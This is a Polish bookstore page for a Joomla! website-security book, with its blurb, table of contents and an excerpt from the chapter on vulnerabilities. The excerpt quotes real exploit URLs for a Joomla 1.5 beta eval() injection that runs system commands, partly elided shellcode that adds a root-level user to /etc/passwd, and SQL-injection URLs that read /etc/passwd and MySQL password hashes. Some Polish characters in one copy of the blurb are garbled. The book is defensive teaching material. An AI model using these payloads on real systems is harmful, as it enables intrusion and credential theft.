Cyfroteka.pl

klikaj i czytaj online

Cyfro
Czytomierz
00470 006788 13589060 na godz. na dobę w sumie
Joomla! Zabezpieczanie witryn - książka
Joomla! Zabezpieczanie witryn - książka
Autor: Liczba stron: 248
Wydawca: Helion Język publikacji: polski
ISBN: 978-83-246-2197-2 Data wydania:
Lektor:
Kategoria: ebooki >> komputery i informatyka >> hacking >> bezpieczeństwo www
Porównaj ceny (książka, ebook, audiobook).

Zabezpiecz stronę opartą o Joomla!

Nikomu nie trzeba jej przedstawiać - Joomla! to wiodący system zarządzania treścią. Wśród jej zalet warto wymienić łatwość instalacji i konfiguracji, dostępność wielu dodatków oraz cenę - jest to system darmowy. Jednakże z tej popularności wynika też pewna zasadnicza wada. Mianowicie Joomla! jest łakomym kąskiem dla internetowych włamywaczy.

Dzięki tej książce dowiesz się, jak zabezpieczyć swoją stronę, opartą o ten system, przed ich działaniem. Podręcznik w kompleksowy sposób opisuje wszystkie zagadnienia związane z bezpieczeństwem Joomla! - począwszy od wyboru firmy, na której serwerach umieścisz swoją stronę, a skończywszy na tworzeniu polityki reagowania na ataki. Ponadto podczas lektury zdobędziesz ogrom wiedzy na temat dostępnych narzędzi, metodologii ataków oraz konfiguracji za pomocą plików .htaccess i php.ini. Wśród poruszanych tematów znajdziesz również te poświęcone logom serwera i wykorzystaniu szyfrowanego kanału komunikacyjnego SSL. Książka ta jest obowiązkową lekturą dla wszystkich administratorów stron internetowych opartych o system Joomla! - zarówno tych małych, jak i korporacyjnych.

Zapewnij bezpieczeństwo Twojej witrynie!



Prowadzisz bloga, serwis informacyjny, stronę firmową?
Dołącz do Programu Partnerskiego - Zostań wtyczką Helionu!

więcej>>
Znajdź podobne książki Ostatnio czytane w tej kategorii

Darmowy fragment publikacji:

Joomla! Zabezpieczanie witryn Autor: Tom Canavan T³umaczenie: Roman Gryzowski, Tomasz Walczak ISBN: 978-83-246-2197-2 Tytu³ orygina³u: Joomla! Web Security Format: 170×230, stron: 248 Zabezpiecz stronê opart¹ o Joomla! (cid:129) Na co nale¿y zwróciæ uwagê przy wyborze firmy hostingowej? (cid:129) Jak wykorzystaæ potencja³ plików .htaccess i php.ini? (cid:129) Jak reagowaæ na ataki hakerów? Nikomu nie trzeba jej przedstawiaæ – Joomla! to wiod¹cy system zarz¹dzania treœci¹. Wœród jej zalet warto wymieniæ ³atwoœæ instalacji i konfiguracji, dostêpnoœæ wielu dodatków oraz cenê – jest to system darmowy. Jednak¿e z tej popularnoœci wynika te¿ pewna zasadnicza wada. Mianowicie Joomla! jest ³akomym k¹skiem dla internetowych w³amywaczy. Dziêki tej ksi¹¿ce dowiesz siê, jak zabezpieczyæ swoj¹ stronê, opart¹ o ten system, przed ich dzia³aniem. Podrêcznik w kompleksowy sposób opisuje wszystkie zagadnienia zwi¹zane z bezpieczeñstwem Joomla! – pocz¹wszy od wyboru firmy, na której serwerach umieœcisz swoj¹ stronê, a skoñczywszy na tworzeniu polityki reagowania na ataki. Ponadto podczas lektury zdobêdziesz ogrom wiedzy na temat dostêpnych narzêdzi, metodologii ataków oraz konfiguracji za pomoc¹ plików .htaccess i php.ini. Wœród poruszanych tematów znajdziesz równie¿ te poœwiêcone logom serwera i wykorzystaniu szyfrowanego kana³u komunikacyjnego SSL. Ksi¹¿ka ta jest obowi¹zkow¹ lektur¹ dla wszystkich administratorów stron internetowych opartych o system Joomla! – zarówno tych ma³ych, jak i korporacyjnych. (cid:129) Hosting – na co zwróciæ uwagê (cid:129) Wykorzystanie œrodowiska testowego do prowadzenia badañ nad bezpieczeñstwem (cid:129) Dostêpne narzêdzia oraz ich przeznaczenie (cid:129) Luki w systemie (cid:129) Instalacja poprawek (cid:129) Ataki typu „wstrzykniêcie kodu” oraz „RFI” (cid:129) Techniki wykorzystywane przez w³amywaczy (cid:129) Konfiguracja systemu za pomoc¹ plików .htaccess oraz php.ini (cid:129) Logi serwera – sposoby na zdobycie wiedzy o systemie (cid:129) Wdra¿anie SSL (cid:129) Zarz¹dzanie incydentami Zapewnij bezpieczeñstwo Twojej witrynie! Spis treści O autorze O redaktorze Przedmowa Rozdział 1. Zaczynamy Wprowadzenie Powszechnie używana terminologia Wybór hostingu dostosowanego do potrzeb Co to jest firma hostingowa? Wybieranie firmy hostingowej Pytania, jakie należy zadać przyszłemu dostawcy usług hostingowych Pomieszczenia O co zapytać dostawcę hostingu w kwestiach bezpieczeństwa? Pytania dotyczące warunków w pomieszczeniach Monitorowanie i ochrona lokalizacji Instalowanie poprawek a bezpieczeństwo Hosting współdzielony Hosting dedykowany Planowanie instalacji Joomla! Jakiemu celowi ma służyć Twoja witryna? Jedenaście kroków do udanej architektury witryny Pobieranie systemu Joomla! Ustawienia .htaccess Uprawnienia Zarządzanie użytkownikami Typowe błędy Ustanawianie parametrów bezpieczeństwa Podsumowanie 9 11 13 17 17 18 19 19 19 20 20 21 21 22 22 23 25 26 26 27 29 30 33 34 35 35 38 45 Spis treści Rozdział 2. Testowanie i rozwijanie witryny Witaj w laboratorium! Środowisko testowe Jaki to ma związek z zabezpieczeniami? Błędne koło aktualizowania Tworzenie planu testów Wykorzystanie środowiska testowego w planowaniu działań na wypadek awarii Tworzenie dobrej dokumentacji Korzystanie z systemu zarządzania tworzeniem oprogramowania Raportowanie Ravenswood Joomla! Server Uruchamianie Podsumowanie Rozdział 3. Narzędzia Wprowadzenie Narzędzia, narzędzia i jeszcze raz narzędzia HISA Joomla! Tools Suite with Services Jak zdrowie? Nmap — narzędzie do mapowania sieci ze strony insecure.org Wireshark Metasploit — zestaw narzędzi do testów penetracyjnych Nessus — skaner luk Podsumowanie 47 48 48 49 49 52 54 55 58 60 62 63 64 65 65 66 66 72 73 80 82 85 87 89 Rozdział 4. Luki 91 Wprowadzenie ................................................................................................................................. 91 Instalowanie poprawek jest nieodzowne ...................................................................................... 93 Czym jest luka? ................................................................................................................................ 94 Luki związane z uszkodzeniem zawartości pamięci ....................................................... 95 Wstrzyknięcie kodu SQL ................................................................................................ 97 Ataki przez wstrzyknięcie poleceń ................................................................................. 99 Dlaczego pojawiają się luki? ....................................................................................... 100 Co można zrobić, aby zapobiec lukom? ...................................................................... 100 Odmowa dostępu ....................................................................................................... 103 Niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych ........ 103 Brak testów w zróżnicowanym środowisku ................................................................ 104 Testowanie w różnych wersjach baz SQL .................................................................... 104 Współdziałanie z rozszerzeniami niezależnych producentów ......................................... 104 Użytkownicy końcowi .................................................................................................................... 105 Socjotechnika ............................................................................................................. 105 Nieregularne instalowanie poprawek i aktualizacji ..................................................... 106 Podsumowanie .............................................................................................................................. 107 4 Spis treści Rozdział 5. Anatomia ataków Wprowadzenie Wstrzyknięcie kodu SQL Testowanie odporności witryny na wstrzyknięcie kodu SQL Kilka metod zapobiegania wstrzyknięciu kodu SQL Metoda zapobiegania wstrzyknięciu kodu SQL zalecana przez PHP.NET Ataki RFI Najprostszy atak Co możemy zrobić, żeby powstrzymać atak? Zapobieganie atakom RFI Podsumowanie Rozdział 6. Jak to robią „źli chłopcy”? Obecne regulacje prawne Namierzanie celu Poznawanie celu Narzędzia do wykrywania luk Nessus Nikto — skaner luk o otwartym dostępie do kodu źródłowego Acunetix Nmap Wireshark Ping Sweep Firewalk Angry IP Scanner Cyfrowe graffiti a prawdziwe ataki Wyszukiwanie celów ataku Co możesz zrobić? Przeciwdziałanie Co zrobić, jeśli firma hostingowa nie jest skłonna do współpracy? Co zrobić, jeśli ktoś włamał się do mojej witryny i ją oszpecił? Co zrobić, jeśli napastnik umieścił na serwerze rootkita? Słowo na zakończenie Podsumowanie Rozdział 7. Pliki php.ini i .htaccess Plik .htaccess Zmniejszanie transferu danych Wyłączanie sygnatury serwera Zapobieganie dostępowi do pliku .htaccess Zapobieganie dostępowi do jakiegokolwiek pliku Zapobieganie dostępowi do plików różnych typów Zapobieganie nieuprawnionemu przeglądaniu katalogów Ukrywanie rozszerzeń skryptów Ograniczanie dostępu do sieci LAN Udostępnianie katalogów na podstawie adresu IP i (lub) domeny 109 110 110 114 114 115 116 118 118 122 123 125 126 127 128 131 131 132 132 133 134 134 134 135 137 144 144 145 146 146 147 147 148 149 150 151 151 151 151 152 152 153 153 153 5 Spis treści Blokowanie dostępu i zezwalanie na dostęp do domeny na podstawie przedziału adresów IP Blokowanie hotlinkingu i zwracanie materiałów zastępczych Blokowanie robotów, programów typu site ripper, przeglądarek offline i innych „szkodników” Pliki, katalogi i inne elementy chronione hasłem Aktywowanie trybu SSL za pomocą pliku .htaccess Automatyczne ustawianie uprawnień do plików różnych typów Ograniczanie wielkości plików w celu ochrony witryny przed atakami przez odmowę usługi (DoS) Niestandardowe strony błędów Udostępnianie uniwersalnej strony błędu Zapobieganie dostępowi w określonych godzinach Przekierowywanie żądań z danym łańcuchem znaków pod określony adres Wyłączanie ustawienia magic_quotes_gpc na serwerach z obsługą PHP Plik php.ini Czym jest plik php.ini? Jak przebiega odczytywanie pliku php.ini? Podsumowanie Rozdział 8. Pliki dziennika Czym dokładnie są pliki dziennika? Nauka czytania logów A co z tym? Kody stanu w HTTP 1.1 Analizowanie plików dziennika Łańcuchy znaków z nazwą agenta Blokowanie przedziałów adresów IP z danego kraju Skąd pochodzi napastnik? Konserwowanie plików dziennika Etapy konserwowania plików dziennika Narzędzia do przeglądania plików dziennika BSQ-SiteStats JoomlaWatch AWStats Podsumowanie Rozdział 9. SSL w witrynach opartych na Joomla! Czym jest technologia SSL (TLS)? Używanie SSL do nawiązywania zabezpieczonych sesji Certyfikaty autentyczności Uzyskiwanie certyfikatów Procedura wdrażania SSL SSL w systemie Joomla! Kwestie związane z wydajnością Inne zasoby Podsumowanie 6 154 154 155 157 160 160 161 161 162 162 162 163 164 164 164 166 167 168 169 170 172 175 176 177 177 178 179 180 180 181 181 182 183 184 185 186 187 188 188 190 191 191 Spis treści Rozdział 10. Zarządzanie incydentami Tworzenie polityki reagowania na incydenty Tworzenie procedur na podstawie polityki reagowania na incydenty Obsługa incydentu Komunikacja z zewnętrznymi jednostkami na temat incydentów Określanie struktury zespołu Podsumowanie Dodatek A Podręcznik zabezpieczeń Spis treści podręcznika zabezpieczeń Informacje ogólne Przygotowywanie pakietu narzędzi Narzędzia do tworzenia kopii zapasowej Lista kontrolna z obszaru pomocy Codzienne operacje Podstawowa lista kontrolna z obszaru bezpieczeństwa Narzędzia Nmap Telnet FTP Skanowanie pod kątem wirusów JCheck Zestaw narzędzi dla systemu Joomla! Narzędzia dla użytkowników Firefoksa Porty Pliki dziennika Kody stanu serwera Apache Format CLF Informacje o kraju — kody domen najwyższego poziomu Lista krytycznych ustawień Plik .htaccess Plik php.ini Ogólne informacje na temat serwera Apache Lista portów Podsumowanie Skorowidz 193 194 197 199 199 203 203 205 205 206 206 207 207 209 209 210 210 212 212 212 212 213 213 214 216 216 218 219 227 227 230 231 232 236 237 7 4 Luki Luki istnieją w każdym zbudowanym przez człowieka systemie, a oprogramowanie to technologia w rodzaju „czarnej skrzynki” — użytkownicy często nie mają wiedzy ani możliwości potrzebnych do wykrycia słabych punktów rozwiązania. Nawet programiści czasem nie posiadają zasobów niezbędnych do wyczerpującego przetestowania systemu pod kątem luk. Społeczeństwo staje się coraz bardziej zależne od systemów komputerowych, które sterują ope- racjami bankowymi, niezbędną infrastrukturą (na przykład sieciami elektrycznymi), a nawet Twoją opartą na Joomla! witryną. Dlatego musisz znać odpowiedzi na poniższe pytania: (cid:81) Czym są luki? (cid:81) Dlaczego istnieją? (cid:81) Jak można zapobiec ich powstawaniu? Wprowadzenie Czy czytałeś albo słyszałeś kiedyś opowiastkę dla dzieci o Małej Czerwonej Kurce? Pewnego razu Mała Czerwona Kurka znalazła ziarna pszenicy. Prosiła różne zwierzęta o pomoc przy sianiu zboża, podlewaniu go, zbiorach i mieleniu mąki na chleb. Wszystkie zwierzaki odmówiły, tłuma- cząc się brakiem czasu. Były po prostu zbyt zajęte! Kiedy Mała Czerwona Kurka upiekła chleb dla siebie i swych kurcząt, każde stworzenie z zagrody poczuło jego zapach. Wszystkie zwierzęta zbiegły się z przyjaznymi minami, aby uszczknąć coś dla siebie. Kurka oczywiście przegoniła je, ponieważ nikt nie chciał pomóc jej w pracy. Zacząłem od tej historyjki, ponieważ występujące w niej postacie odpowiadają różnym funkcjom omawianym w dalszej części rozdziału. Joomla! Zabezpieczanie witryn Pomyśl o projektancie aplikacji, który pracuje niestrudzenie i prosi zaufanych klientów o udział w testach. Użytkownicy odmawiają, ale później narzekają na błędy, kiedy te się ujawnią. Możliwe, że firma udostępnia oprogramowanie, ale marketing jest w niej ważniejszy niż staranne testy nakierowane na usunięcie luk. Jednak ostatecznie odpowiedzialność za usterki spada na programistę. Gdy producent udostępnia poprawki, klienci, którzy powinni je zainstalować, ale tego nie zrobili, przypominają zwierzęta, dające się łatwo zaatakować napastnikom. Nie zrobiły tego, czego oczekiwała od nich Kurka. Czy pamiętasz robaka o nazwie Slammer, który pojawił się kilka lat temu? Napastnicy wykorzy- stali lukę w systemie MS-SQL, choć już od pewnego czasu dostępna była odpowiednia poprawka. Robak przechodził z serwera na serwer i w ciągu kilku godzin rozprzestrzenił się po świecie. Klienci, którzy zainstalowali poprawki, nie ponieśli szkód. Takie zachowanie, w rodzaju „jestem zbyt zajęty, Czerwona Kurko” (aby dodać poprawkę), spowodowało w wielu firmach niepotrzebne i kosztowne przestoje w działaniu serwera. Oto oficjalny opis problemu przedstawiony przez organizację CERT: „Robak atakujący komputery z systemem SQL Server to samodzielnie rozprzestrzeniający się szkodliwy kod, który wykorzystuje lukę opisaną w dokumencie VU#484891 (CAN-2002-0649). Luka ta umożliwia uru- chomienie na komputerze z systemem SQL Server dowolnego kodu w wyniku wykorzystania przepełnienia bufora stosu. Kiedy robak zaatakuje maszynę, próbuje się rozprzestrzenić. W tym celu tworzy 376-bajtowe pakiety i przesyła je pod losowo wybrane adresy IP do portu 1434/udp. Jeśli pakiet trafi do podatnej na atak maszyny, ofiara zostanie zainfekowana i także zacznie rozprzestrzeniać robaka. Obecna wersja robaka jedynie wykrywa nowe serwery i nie zawiera innych instrukcji. Działanie tego robaka można łatwo wykryć ze względu na obecność w sieci 376-bajtowych pakietów UDP. Pochodzą one z na pozór losowych adresów IP i są skierowane do portu 1434/udp”. Na szczęście wspomniany robak — choć szkodliwy — nie obejmował niebezpiecznych instrukcji. Gdyby administratorzy centrów danych przeglądali poprawki dla kluczowych systemów (takich jak MS-SQL) bezpośrednio po ich udostępnieniu, skutki działania Slammera byłyby dużo mniejsze. Według Microsoftu poprawka była dostępna już w lipcu 2002 roku. Jednak pojawienie się Slam- mera wywołało pandemię. Zapoznaj się z poniższym opisem. „Lukę, którą wykorzystał robak, Microsoft zlikwidował w poprawce zabezpieczeń z lipca 2002 roku i w dal- szych uzupełniających poprawkach (ostatnia pojawiła się w październiku 2002 roku). Ponadto ze względu na zaangażowanie w kwestie bezpieczeństwa przy wdrażaniu oprogramowania w ramach inicjatywy Tru- stworthy Computing ponownie udostępniliśmy najnowszą poprawkę zabezpieczeń z dołączonym programem instalacyjnym, który pomaga administratorom systemów przyspieszyć instalację”. 92 Pojęciem, które często pojawia się wraz ze słowem „luka”, jest eksploit. Wykrycie słabych punktów przyciąga „złych chłopców”, którzy chcą wykorzystać luki w celu zaatakowania systemu. Rozdział 4. • Luki Instalowanie poprawek jest nieodzowne Nowszy przykład braku zabezpieczeń to luka umożliwiająca ataki CSRF (ang. Cross-Site Request Forgery) w systemach Joomla! 1.x i Joomla! 1.5. Warto tu wspomnieć, że Joomla! to nie jedyna aplikacja zaatakowana eksploitem wykorzystującym tę lukę. Przyczyną problemu jest natura działania sieci WWW. Istnieją kody, które mogą spowolnić atak i w wielu przypadkach go za- blokować. W czasie, kiedy powstawała ta książka, pojawiło się niedoskonałe rozwiązanie problemu CSRF, jednak informacji o poprawce nie rozpowszechniano publicznie. Producenci oprogramo- wania nierzadko stosują takie podejście. Ze względu na ograniczone zasoby muszą koncentrować się na najważniejszych, priorytetowych zadaniach. Dlatego to użytkownicy końcowi odpowiadają za zainstalowanie poprawki, kiedy się o niej dowiedzą. Jeśli producent systemu Joomla! udostępni aktualizację, a Ty jej nie dodasz, będziesz ponosił odpowiedzialność za szkody. Jeżeli jednak twórcy aplikacji świadomie zignorują lukę w zabezpieczeniach, to oni będą winni zaniedbania. Jednak ostatecznie za bezpieczeństwo odpowiada użytkownik. Eksploit CSRF jest interesujący, ponieważ związany jest z atakami „socjotechnicznymi”. Oznacza to, że jeśli użytkownik nie będzie współpracował z napastnikami, nikt nie będzie mógł wyrządzić mu szkody. Współdziałanie klienta umożliwia agresorom założenie w witrynie konta głównego administratora. Phil Taylor, poważany członek społeczności związanej z Joomla!, zademonstrował działanie omawianego eksploita w kilka godzin od czasu jego ujawnienia. W tym czasie utworzył konto głównego administratora w jednej witrynie (ten test służył tylko jako ilustracja problemu, a nie do przeprowadzenia ataku). Dobra wiadomość jest taka, że według Phila Taylora (phil-taylor.com) problem można łatwo rozwią- zać przez zachowanie zdrowego rozsądku przez użytkowników. Poniższy fragment pochodzi z ar- tykułu ze strony http://blog.phil-taylor.com/2008/01/05/using-prisim-to-administrate-joomla-safer/ (wersja ze stycznia 2008 roku), który zawiera doskonały opis zagadnienia. „Ostatnio wiele się mówi o atakach CSRF w systemach Joomla! 1.0.13/1.5. CSRF to problem we wszystkich aplikacjach sieciowych, a w wersjach Joomla! 1.0.14 i Joomla! 1.5 wzmocniono zabezpieczenia w tym zakresie. Nie oznacza to jednak, że systemy te są w pełni bezpieczne, ponieważ w praktyce nie można zablokować wszystkich ataków CSRF bez zakłócenia pracy oprogramowania. Joomla!, podobnie jak większość aplikacji sieciowych, ma jak najbardziej utrudniać wykorzystanie techniki CSRF do przejęcia witryn opartych na Joomla!”. Przytaczam te uwagi tylko jako akademickie rozważania, ponieważ problem został rozwiązany przed zakończeniem prac nad tą książką. 93 Joomla! Zabezpieczanie witryn Eksploity „socjotechniczne” to jedne z najbardziej niebezpiecznych sposobów wykorzystania luk. Na blogu Phila znajdziesz też wskazówki, które pomogą Ci zabezpieczyć witrynę przed tym pod- stępnym atakiem: – ZAWSZE klikaj przycisk Wyloguj w panelu administracyjnym Joomla!, kiedy skończysz pracę. – NIGDY nie odwiedzaj innych witryn, kiedy jesteś zalogowany w panelu administracyjnym Joomla!. – Jeśli zezwalasz użytkownikom na przesyłanie i modyfikowanie elementów witryny przy użyciu komponen- tów niezależnych producentów, to w czasie, kiedy jesteś zalogowany w panelu administracyjnym Joomla!, nie przeglądaj własnego serwisu lub rób to w ograniczonym zakresie. – NIGDY nie klikaj odnośników typu Aktualizuj komponent w komponentach niezależnych producentów. – NIGDY nie przeglądaj forum, kiedy jesteś zalogowany w panelu administracyjnym Joomla!. Omawiana luka jest poważna, jednak lektura blogu Phila Taylora pozwoli Ci łatwo zapobiec jej wykorzystaniu. Więcej informacji znajdziesz w ciekawym artykule na temat CSRF: http://shiflett.org/articles/cross-site-request-forgeries. Zwróć uwagę na datę artykułu. Omawiany eksploit jest starszy niż Joomla!, co pokazuje, że ataki CSRF nie są specyficzne dla tego systemu. W ostatnich latach problem dotknął nawet pocztę Gmail. Przedstawione porady znajdują zastosowanie przy korzystaniu z każdej aplikacji sieciowej z poufnymi danymi (na przykład w systemach bankowości internetowej). Czym jest luka? Oto definicja „luki” (ang. vulnerability) z Wikipedii: W dziedzinie bezpieczeństwa komputerów pojęcie „luka” oznacza słaby punkt w systemie, który umożliwia napastnikom naruszenie integralności aplikacji. Luki mogą być efektem stosowania słabych haseł, wystąpienia błędów w oprogramowaniu, wstrzyknięcia kodu skryptu, wstrzyknięcia kodu SQL, działania rootkita Blue Pill lub szkodliwego oprogramowania. Niektóre luki są teoretyczne, w przypadku innych znane są przykładowe eksploity. Struktura w języku programowania jest uznawana za lukę, jeśli jest podstawową przyczyną uste- rek w wielu programach. Możesz się zastanawiać, dlaczego w systemie pojawiły się słabe punkty i czy programiści nie mogli bardziej się postarać. To uzasadnione pytania. Jednak zanim zaczniesz obwiniać nieszczęsnych, przykutych do klawiatur programistów, przyjrzyj się kilku dobrze poznanym obszarom, w których mogą wystąpić luki. 94 Rozdział 4. • Luki W Wikipedii można znaleźć kilka przyczyn problemów: (cid:81) Błędy w zarządzaniu hasłami. Użytkownicy stosują słabe hasła, które można złamać metodą ataku siłowego. Klienci przechowują hasła na komputerze w miejscu, do którego program ma dostęp. Użytkownicy stosują te same hasła w wielu aplikacjach i witrynach. (cid:81) Elementarne błędy w projekcie systemu operacyjnego. Producent systemu operacyjnego decyduje się zastosować nieoptymalne metody zarządzania kontami użytkowników i programami. Na przykład w niektórych systemach każda aplikacja i osoba ma domyślnie pełny dostęp do wszystkich zasobów komputera. Ta wada umożliwia wirusom i szkodliwemu oprogramowaniu wykonywanie poleceń w imieniu administratora. (cid:81) Błędy w oprogramowaniu. Programista pozostawia możliwą do wykorzystania usterkę w programie. Błędy tego typu pozwalają napastnikom na przykład pominąć proces sprawdzania uprawnień dostępu do danych lub wykonać polecenia w systemie, w którym działa dana aplikacja. Ponadto programista może zapomnieć o sprawdzaniu rozmiaru buforów danych, które mogą zostać przepełnione, co prowadzi do uszkodzenia zawartości pamięci na stosie lub stercie (może to też spowodować uruchomienie na komputerze kodu przesłanego przez napastnika). (cid:81) Brak sprawdzania danych wejściowych od użytkownika. Programista zakłada, że wszystkie dane od użytkownika są bezpieczne. Programy, które nie sprawdzają takich danych, umożliwiają bezpośrednie wykonanie poleceń lub instrukcji SQL (są to ataki przez przepełnienie bufora, wstrzyknięcie kodu SQL i wprowadzenie innych niesprawdzonych danych). Luki występują we wszystkich systemach operacyjnych, aplikacjach i platformach. W następnych punktach opisuję techniczne aspekty wybranych słabych punktów. Luki związane z uszkodzeniem zawartości pamięci Niebezpieczne przepełnienie bufora to prawdopodobnie najczęściej występująca obecnie luka. Jest tak powszechna, że można ją znaleźć w niemal każdym systemie. Ilustrują to dalsze przykłady. Poniższy fragment to opis ujawnionej luki związanej z błędem przepełnienia w systemie Joomla! 1.5 beta 2: Podatne systemy: (cid:81) Joomla! wersja 1.5 beta 2 Odporne systemy: (cid:81) Joomla! wersja 1.0.13 (cid:81) Joomla! wersja 1.5 RC1 95 Joomla! Zabezpieczanie witryn Opis luki Poniższe skrypty z domyślnej instalacji systemu Joomla! 1.5 beta 2 zawierają podatny na atak kod: 1. components/com_search/views/search/tmpl/default_results.php Wiersz 12.: ?php eval ( echo . $this- result . ; ); ? 2. templates/beez/html/com_search/search/default_results.php Wiersz 25.: echo p . eval ( echo . $this- result . ; ); Wartość parametru searchword jest przekazywana do podanego kodu z instrukcją eval() i wykonywana. Napastnik może po funkcji echo wstawić nowe polecenie PHP, które posłuży do uruchomienia instrukcji systemu operacyjnego. Aby pominąć ograniczenie długości szukanego słowa do 20 znaków, do określania poleceń systemu operacyjnego używany jest nowy parametr w żądaniu GET (zobacz przykładowy eksploit). Oto przykładowy eksploit: http://$joomlahost/index.php?searchword= ;phpinfo(); 23 option=com_ search Itemid=1 http://$joomlahost/index.php?c=id searchword= ;system($_ GET[c]); 23 option=com_search Itemid=1 W witrynie www.milw0rm.com znajdują się przykładowe instrukcje, które można przesłać przez uszkodzenie zawartości pamięci. Jest to BARDZO stary (z lata 2000 roku) kod dla inter- pretera poleceń, dlatego go wybrałem: /* * Linux/x86 * * Dodaje wiersz z::0::0:::\n do /etc/passwd. * Kod jest dość stary i można go dodatkowo zoptymalizować. */ #include stdio.h char c0de[] = /* main: */ \xeb\x29 /* jmp callz */ /* start: */ \x5e /* popl esi */ \x29\xc0 /* subl eax, eax */ \x88\x46\x0b /* movb al, 0x0b( esi) */ . . [część kodu usunięto] . \x29\xc0 /* subl eax, eax */ \x40 /* incl eax */ \xcd\x80 /* int $0x80 */ /* callz: */ 96 Rozdział 4. • Luki \xe8\xd2\xff\xff\xff /* call start */ /* DATA */ /etc/passwd \xff z::0:0:::\n ; main() { int *ret; ret=(int *) ret +2; printf( Shellcode lenght= d\n ,strlen(c0de)); (*ret) = (int)c0de; } Ten eksploit dodaje użytkownika do opartego na procesorze Intel komputera, na którym działa system Linux x86 (jest to typowa, powszechnie używana platforma serwerowa). Ten prosty kod wstawia skrypt typu shellcode za pomocą techniki uszkadzania pamięci. Pozwala to napastnikowi uruchomić w pamięci niewielki program (w tym przypadku wystarczy 70 bajtów), który — jeśli jego działanie zakończy się powodzeniem — dodaje użytkownika do systemu. Umożliwia to późniejsze wykonanie dowolnych operacji. W następnym punkcie omawiam inne rodzaje eksploitów. Pamiętaj, że nie jest to wyczerpująca lista, a jedynie przegląd często spotykanych technik. Wstrzyknięcie kodu SQL Jednym z najczęściej spotykanych i niebezpiecznych ataków na witryny oparte na Joomla! jest wstrzyknięcie kodu SQL (ang. SQL injection). Istotą tych ataków są nieprawidłowo przefiltrowane dane wejściowe przesyłane na serwer SQL. Specjalne symbole — tak zwane znaki ucieczki — służą do przekazywania żądań (zapytań) do bazy danych SQL niezgodnie z zamiarami programisty. Czasem umożliwia to zapisanie w bazie szkodliwych danych i powoduje ujawnienie ważnych informacji, na przykład haseł. Oto przykładowy atak przez wstrzyknięcie kodu SQL opisany w witrynie www.milw0rm.com: /etc/password: http://[host]/activate.php?userName= /**/union/**/select/**/ 1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/* Ten eksploit nie atakuje systemu Joomla!, ale inny CMS. Jeśli ów CMS działa z opcją magic_quotes ustawioną na off, przedstawiony eksploit pozwala napastnikowi zdobyć hasła użytkowników. Aby uzyskać identyfikatory użytkowników, można pobrać nazwy i hasła użytkowników z tabeli mysql.user: http://[host]/activate.php?userName= /**/union/**/select/**/ 1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/ mysql.user/* 97 Joomla! Zabezpieczanie witryn Omawiany eksploit wykorzystuje poniższą lukę: $userName = $_GET[ userName ]; $code = $_GET[ activate ]; $sql = SELECT activated FROM users WHERE username = $userName AND activated = $code ; Jeśli nie ustawisz opcji magic_quotes na ON, opisany eksploit pozwoli napastnikowi złamać system. Przyczyną tej luki jest prosty błąd — brak właściwego filtrowania danych w określonej części systemu. W czasie pisania tego rozdziału przeprowadziłem kilka ataków opartych na tej luce na własną witrynę. Jednak opisany eksploit nie jest przeznaczony do wykorzystania słabych punktów w Joomla!, dlatego próby nie przyniosły żadnych efektów. Twój egzemplarz systemu Joomla! może być podatny na ataki, jeśli korzystasz z rozszerzenia, które niepoprawnie filtruje dane. Opisany eksploit jest skuteczny w witrynach, które nie spraw- dzają literałów znakowych podanych za pomocą znaków ucieczki. Takie literały są „wstrzykiwane” do bazy danych w instrukcjach w języku SQL. Ponadto jeśli dane od użytkowników nie są ściśle typizowane, system zgłosi wyjątek (baza danych nie „zrozumie” instrukcji i prześle komunikaty o błędach), co spowoduje, że system DBMS wygeneruje informacje w niezamierzony sposób. Ścisła typizacja oznacza, że w aplikacji obowiązują precyzyjne reguły dotyczące łączenia i używania danych określonego typu. Stosowanie tej techniki jest zgodne z podejściem „wielo- warstwowej obrony”. Jednym z testów na sprawdzanie podatności aplikacji na wstrzyknięcie kodu SQL jest przesłanie dowolnych danych wejściowych w celu określenia warunków wystąpienia błędu. Na przykład spróbuj przesłać w zapytaniu SQL poniższy kod: Select * from users where password = or 1=1;-- Właśnie zażądałeś pobrania każdego wiersza tabeli. Baza danych dojdzie do sekwencji „--” i po- minie dalszy kod. Jeśli w plikach dziennika z instrukcjami z zapytaniami SQL znajdziesz dziwne żądania, oznacza to, że ktoś próbuje zaatakować witrynę. Przetestowanie podatności na omawiane ataki jest proste. Wystarczy przesłać zapytania SQL przy użyciu różnych znaków specjalnych i obserwować efekty. Przez zastosowanie się do instrukcji zabezpieczania witryny możesz znacznie zmniejszyć po- datność na ataki ze strony opisanych eksploitów. Ponadto zawsze warto poszukać w witrynach dla hakerów informacji o eksploitach powiązanych z rozszerzeniem, którego używasz. 98 Rozdział 4. • Luki Ataki przez wstrzyknięcie poleceń Jeśli jesteś fanem serialu „Star Trek”, może przypominasz sobie odcinek, w którym kapitan Kirk spotkał swego śmiertelnego wroga — Khana. Przeciwnicy stanęli naprzeciwko siebie, przy czym statek Khana miał przewagę nad Enterprise. Kirk poprosił Spocka o podanie „kodów poleceń” Re- lianta (taką nazwę nosił statek skradziony przez Khana), a następnie wprowadził sekwencję liczb i rozkazał komputerowi Relianta wyłączenie zabezpieczeń. Kirk zastosował w ten sposób atak przez wstrzyknięcie polecenia. Choć wydarzenia ze statku Enterprise są fikcyjne, ataki przez wstrzyknięcie poleceń są jak najbardziej realne. Wstrzyknięcie instrukcji do systemu (na przykład na serwer) sprawia, że niezawodność i wiarygodność danego komputera spadają do zera. Na stronie http://www.owasp.org/index.php/Command_Injection znajduje się bardzo dobra definicja ataku przez wstrzyknięcie poleceń: „Celem ataku przez wstrzyknięcie poleceń jest wstawienie i wykonanie instrukcji określonych przez napastnika za pomocą podatnej na ten atak aplikacji. W takich warunkach program, który wykonuje niepożądane polecenia systemowe, przypomina powłokę systemową, a napastnik może jej używać jak uwierzytelniony użytkownik. Jednak instrukcje są uruchamiane z takimi samymi uprawnieniami i w tym samym środowisku, co dana aplikacja. Przyczyną ataków przez wstrzyk- nięcie poleceń jest najczęściej niedostateczna walidacja danych wejściowych, którymi napastnik może dodatkowo manipulować (za pomocą formularzy, plików cookie, nagłówków HTTP itd.). Istnieje też inna odmiana omawianego ataku — wstrzyknięcie kodu. W tej specyficznej technice napastnik dodaje własny kod do istniejącego, przez co wzbogaca wbudowane funkcje aplikacji i nie potrzebuje wykonywać poleceń systemowych. Wstrzyknięty kod jest uruchamiany z tymi samymi uprawnieniami i w tym samym środowisku, co dany program”. 